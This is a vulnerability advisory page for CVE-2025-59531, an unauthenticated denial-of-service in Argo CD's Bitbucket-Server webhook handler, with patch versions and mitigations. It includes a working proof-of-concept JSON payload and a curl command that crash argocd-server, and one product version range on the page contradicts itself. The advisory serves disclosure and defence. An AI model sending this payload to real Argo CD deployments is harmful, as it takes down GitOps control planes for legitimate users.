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HIGH severity

CVE-2025-59531 — argo-cd

HIGHFix: argoproj/argo-cd@5c466a4

CVE-2025-59531 is a high-severity (CVSS 7.5) CWE-703 vulnerability in github.com/argoproj/argo-cd. A fix is available for github.com/argoproj/argo-cd — see the affected versions and patch details below.

Unauthenticated argocd-server panic via a malicious Bitbucket-Server webhook payload

Also known asBIT-argo-cd-2025-59531GHSA-f9gq-prrc-hrhcGO-2025-3993
Published
Updated
Affected
5 pkgs
Patched
4 / 5
Exploits
None indexed
Exploitation data as of Oct 7, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for CVE-2025-59531.

EPSS Exploitation Probability

via FIRST.org ↗
0.6%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs46th percentile — riskier than 46% of all scored CVEsHighest risk
0.00%0.36%0.73%1.09%0.2%0.6%Apr 26Aug 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

CVE-2025-59531 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 383,485 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

5 pkgs affected
🐹github.com/argoproj/argo-cd🐹github.com/argoproj/argo-cd/v2🐹github.com/argoproj/argo-cd/v3🐹github.com/argoproj/argo-cd/v3🐹github.com/argoproj/argo-cd/v3

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Unpatched Argo CD versions are vulnerable to malicious API requests which can crash the API server and cause denial of service to legitimate clients.

With the default configuration, no webhook.bitbucketserver.secret set, Argo CD’s /api/webhook endpoint will crash the entire argocd-server process when it receives a Bitbucket-Server push event whose JSON field repository.links.clone is anything other than an array.

A single unauthenticated curl request can push the control-plane into CrashLoopBackOff; repeating the request on each replica causes a complete outage of the API.

Details

// webhook.go (Bitbucket-Server branch in affectedRevisionInfo)

for _, l := range payload.Repository.Links["clone"].([]any) {   // <- unsafe cast
    link := l.(map[string]any)
    ...
}

If links.clone is a string, number, object, or null, the first type assertion panics: interface conversion: interface {} is string, not []interface {}

The worker goroutine created by startWorkerPool lacks a recover, so the panic terminates the whole binary.

PoC

Save as payload-panic.json - note the non-array links.clone.

{
  "eventKey": "repo:refs_changed",
  "repository": {
    "name": "guestbook",
    "fullName": "APP/guestbook",
    "links": { "clone": "boom" }
  },
  "changes": [ { "ref": { "id": "refs/heads/master" } } ]
}
curl -k -X POST https://argocd.example.com/api/webhook \
     -H 'X-Event-Key: repo:refs_changed' \
     -H 'Content-Type: application/json' \
     --data-binary @payload-panic.json

Observed crash (argocd-server restart):

panic: interface conversion: interface {} is string, not []interface {}
goroutine 192 [running]:
github.com/argoproj/argo-cd/v3/server/webhook.affectedRevisionInfo
    webhook.go:209 +0x1218
...

Mitigation

If you use Bitbucket Server and need to handle webhook events, configure a webhook secret to ensure only trusted parties can invoke the webhook handler.

If you do not use Bitbucket Server, you can set the webhook secret to a long, random value to effectively disable webhook handling for Bitbucket Server payloads.

apiVersion: v1
kind: Secret
metadata:
  name: argocd-secret
type: Opaque
data:
+  webhook.bitbucketserver.secret: <your base64-encoded secret here>

For more information

Credits

Discovered by Jakub Ciolek at AlphaSense.

Affected Packages

5 total 4 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/argoproj/argo-cd≥ 1.2.0No fix
🐹Gogithub.com/argoproj/argo-cd/v2≥ 2.0.0-rc1&&< 2.14.202.14.20go get github.com/argoproj/argo-cd/v2@v2.14.20
🐹Gogithub.com/argoproj/argo-cd/v3≥ 3.2.0-rc1&&< 3.2.0-rc23.2.0-rc2go get github.com/argoproj/argo-cd/v3@v3.2.0-rc2
🐹Gogithub.com/argoproj/argo-cd/v3≥ 3.1.0-rc1&&< 3.1.83.1.8go get github.com/argoproj/argo-cd/v3@v3.1.8
🐹Gogithub.com/argoproj/argo-cd/v3≥ 3.0.0-rc1&&< 3.0.193.0.19go get github.com/argoproj/argo-cd/v3@v3.0.19

Affected Products

1 product · 5 configurations
Application
argo cdargoproj
≥ 3.1.0 && ≤ 1.8.7
1 version
3.2.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/argoproj/argo-cd, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    No patched version of github.com/argoproj/argo-cd has shipped for CVE-2025-59531 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.

  3. Workarounds

    Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatImportant

This vulnerability was rated as Important by the Red Hat Product Security team, this happens because an unauthenticated attacker is able to cause a denial of service from the whole GitOps cluster. This vulnerability affects only clusters without a configured 'webhook.bitbucket.secret' configuration key, thus clusters…

Workaround published by Red Hat
If a BitBucket repository is being used by GitOps it's possible to mitigate this vulnerability by setting up a BitBucket webhook secret to ensure only trusted parties can access the webhook endpoint. In case BitBucket is not being used, the user can set the webhook secret to a long random value to prevent the webhook from being called: ~~~ apiVersion: v1 kind: Secret metadata: name: argocd-secret type: Opaque data: + webhook.bitbucketserver.secret: <your base64-encoded secret here> ~~~
Source: Red Hat security advisory for CVE-2025-59531 (CC BY 4.0)
ProductFixed inAdvisory
Red Hat OpenShift GitOps 1.16openshift-gitops-1/argocd-rhel8:1.16RHSA-2025:17730
Red Hat OpenShift GitOps 1.17openshift-gitops-1/argocd-rhel8:1.17RHSA-2025:17731
Red Hat OpenShift GitOps 1.18openshift-gitops-1/argocd-rhel8:1.18RHSA-2025:18093

Frequently Asked Questions

### Summary Unpatched Argo CD versions are vulnerable to malicious API requests which can crash the API server and cause denial of service to legitimate clients. With the default configuration, no `webhook.bitbucketserver.secret` set, Argo CD’s /api/webhook endpoint will crash the entire argocd-server process when it receives a Bitbucket-Server push event whose JSON field `repository.links.clone` is anything other than an array. A single unauthenticated curl request can push the control-plane into CrashLoopBackOff; repeating the request on each replica causes a complete outage of the API.
O3 Security · Impact-Aware SCA

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CVE-2025-59531: argo-cd DoS — Fixed in 2.14.20